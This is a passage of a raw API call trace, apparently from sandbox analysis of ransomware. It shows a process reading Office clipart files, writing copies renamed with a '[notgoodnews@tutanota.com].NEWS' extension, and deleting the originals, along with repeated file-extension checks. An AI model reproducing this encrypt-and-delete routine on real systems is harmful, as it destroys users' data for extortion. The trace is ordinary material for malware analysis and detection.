SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0231.838] SetEndOfFile (hFile=0x3c0) returned 1 [0231.863] CloseHandle (hObject=0x3c0) returned 1 [0231.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid")) returned 1 [0232.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.227] lstrlenW (lpString=".doc") returned 4 [0232.227] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.227] lstrlenW (lpString=".docx") returned 5 [0232.227] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.227] lstrlenW (lpString=".pdf") returned 4 [0232.227] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.227] lstrlenW (lpString=".xls") returned 4 [0232.227] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.228] lstrlenW (lpString=".xlsx") returned 5 [0232.228] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.228] lstrlenW (lpString=".ppt") returned 4 [0232.228] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.228] lstrlenW (lpString=".zip") returned 4 [0232.228] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.228] lstrlenW (lpString=".rar") returned 4 [0232.228] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.228] lstrlenW (lpString=".bz2") returned 4 [0232.228] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.229] lstrlenW (lpString=".7z") returned 3 [0232.229] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.229] lstrlenW (lpString=".dbf") returned 4 [0232.229] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.229] lstrlenW (lpString=".1cd") returned 4 [0232.229] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.229] lstrlenW (lpString=".jpg") returned 4 [0232.229] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.231] lstrlenW (lpString=".doc") returned 4 [0232.231] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.231] lstrlenW (lpString=".docx") returned 5 [0232.231] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.231] lstrlenW (lpString=".pdf") returned 4 [0232.231] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.231] lstrlenW (lpString=".xls") returned 4 [0232.231] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.232] lstrlenW (lpString=".xlsx") returned 5 [0232.232] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.232] lstrlenW (lpString=".ppt") returned 4 [0232.232] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.232] lstrlenW (lpString=".zip") returned 4 [0232.232] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.232] lstrlenW (lpString=".rar") returned 4 [0232.232] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.232] lstrlenW (lpString=".bz2") returned 4 [0232.232] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.232] lstrlenW (lpString=".7z") returned 3 [0232.233] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.233] lstrlenW (lpString=".dbf") returned 4 [0232.233] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.233] lstrlenW (lpString=".1cd") returned 4 [0232.233] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 63 [0232.233] lstrlenW (lpString=".jpg") returned 4 [0232.233] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.234] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.234] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0232.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0232.357] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=5968) returned 1 [0232.358] CloseHandle (hObject=0x3ac) returned 1 [0232.358] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0232.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0232.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0232.667] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0232.668] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0232.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0232.668] GetLastError () returned 0x0 [0232.668] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x1750, lpOverlapped=0x0) returned 1 [0232.704] WriteFile (in: hFile=0x1c0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x1760, lpOverlapped=0x0) returned 1 [0232.708] ReadFile (in: hFile=0x35c, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0232.708] WriteFile (in: hFile=0x1c0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.708] SetEndOfFile (hFile=0x1c0) returned 1 [0232.708] CloseHandle (hObject=0x1c0) returned 1 [0232.709] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0232.709] SetEndOfFile (hFile=0x35c) returned 1 [0232.717] CloseHandle (hObject=0x35c) returned 1 [0232.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0232.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0232.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.794] lstrlenW (lpString=".doc") returned 4 [0232.794] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.794] lstrlenW (lpString=".docx") returned 5 [0232.794] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.794] lstrlenW (lpString=".pdf") returned 4 [0232.794] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.794] lstrlenW (lpString=".xls") returned 4 [0232.794] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.794] lstrlenW (lpString=".xlsx") returned 5 [0232.794] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.794] lstrlenW (lpString=".ppt") returned 4 [0232.794] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.795] lstrlenW (lpString=".zip") returned 4 [0232.795] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.795] lstrlenW (lpString=".rar") returned 4 [0232.795] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.795] lstrlenW (lpString=".bz2") returned 4 [0232.795] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.795] lstrlenW (lpString=".7z") returned 3 [0232.795] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.795] lstrlenW (lpString=".dbf") returned 4 [0232.795] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.795] lstrlenW (lpString=".1cd") returned 4 [0232.796] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.796] lstrlenW (lpString=".jpg") returned 4 [0232.796] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.796] lstrlenW (lpString=".doc") returned 4 [0232.796] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0232.796] lstrlenW (lpString=".docx") returned 5 [0232.796] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0232.797] lstrlenW (lpString=".pdf") returned 4 [0232.797] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0232.797] lstrlenW (lpString=".xls") returned 4 [0232.797] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0232.797] lstrlenW (lpString=".xlsx") returned 5 [0232.797] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0232.797] lstrlenW (lpString=".ppt") returned 4 [0232.797] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0232.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.797] lstrlenW (lpString=".zip") returned 4 [0232.797] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0232.797] lstrlenW (lpString=".rar") returned 4 [0232.798] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0232.798] lstrlenW (lpString=".bz2") returned 4 [0232.798] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0232.798] lstrlenW (lpString=".7z") returned 3 [0232.798] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0232.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.798] lstrlenW (lpString=".dbf") returned 4 [0232.798] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0232.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.798] lstrlenW (lpString=".1cd") returned 4 [0232.798] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0232.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0232.798] lstrlenW (lpString=".jpg") returned 4 [0232.798] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0232.799] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0232.799] lstrlenW (lpString="PARNT_04.MID") returned 12 [0232.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0232.982] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=6070) returned 1 [0232.983] CloseHandle (hObject=0x3ac) returned 1 [0232.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0233.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0233.086] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.086] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0233.087] GetLastError () returned 0x0 [0233.087] ReadFile (in: hFile=0x384, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x17b6, lpOverlapped=0x0) returned 1 [0233.366] WriteFile (in: hFile=0x388, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0233.371] ReadFile (in: hFile=0x384, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0233.371] WriteFile (in: hFile=0x388, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.371] SetEndOfFile (hFile=0x388) returned 1 [0233.371] CloseHandle (hObject=0x388) returned 1 [0233.372] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.372] SetEndOfFile (hFile=0x384) returned 1 [0233.385] CloseHandle (hObject=0x384) returned 1 [0233.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0233.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.605] lstrlenW (lpString=".doc") returned 4 [0233.605] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.605] lstrlenW (lpString=".docx") returned 5 [0233.605] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0233.605] lstrlenW (lpString=".pdf") returned 4 [0233.606] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.606] lstrlenW (lpString=".xls") returned 4 [0233.606] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.606] lstrlenW (lpString=".xlsx") returned 5 [0233.606] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0233.606] lstrlenW (lpString=".ppt") returned 4 [0233.606] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.606] lstrlenW (lpString=".zip") returned 4 [0233.606] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.606] lstrlenW (lpString=".rar") returned 4 [0233.606] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.607] lstrlenW (lpString=".bz2") returned 4 [0233.607] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.607] lstrlenW (lpString=".7z") returned 3 [0233.607] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.607] lstrlenW (lpString=".dbf") returned 4 [0233.607] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.607] lstrlenW (lpString=".1cd") returned 4 [0233.607] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.607] lstrlenW (lpString=".jpg") returned 4 [0233.607] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.608] lstrlenW (lpString=".doc") returned 4 [0233.608] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.608] lstrlenW (lpString=".docx") returned 5 [0233.608] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0233.608] lstrlenW (lpString=".pdf") returned 4 [0233.608] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.608] lstrlenW (lpString=".xls") returned 4 [0233.608] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.608] lstrlenW (lpString=".xlsx") returned 5 [0233.608] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0233.608] lstrlenW (lpString=".ppt") returned 4 [0233.608] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.609] lstrlenW (lpString=".zip") returned 4 [0233.609] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.609] lstrlenW (lpString=".rar") returned 4 [0233.609] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.609] lstrlenW (lpString=".bz2") returned 4 [0233.609] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.609] lstrlenW (lpString=".7z") returned 3 [0233.609] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.609] lstrlenW (lpString=".dbf") returned 4 [0233.609] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.610] lstrlenW (lpString=".1cd") returned 4 [0233.610] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0233.610] lstrlenW (lpString=".jpg") returned 4 [0233.610] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.610] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0233.610] lstrlenW (lpString="PARNT_07.MID") returned 12 [0233.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0233.614] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=6564) returned 1 [0233.614] CloseHandle (hObject=0x398) returned 1 [0233.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 0x20 [0233.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0233.615] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.615] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0233.616] GetLastError () returned 0x0 [0233.616] ReadFile (in: hFile=0x398, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x19a4, lpOverlapped=0x0) returned 1 [0233.643] WriteFile (in: hFile=0x3d0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0233.647] ReadFile (in: hFile=0x398, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0233.647] WriteFile (in: hFile=0x3d0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.647] SetEndOfFile (hFile=0x3d0) returned 1 [0233.647] CloseHandle (hObject=0x3d0) returned 1 [0233.647] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.648] SetEndOfFile (hFile=0x398) returned 1 [0233.703] CloseHandle (hObject=0x398) returned 1 [0233.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0233.704] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid")) returned 1 [0233.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.707] lstrlenW (lpString="C:\\Program Files\\Microsoft 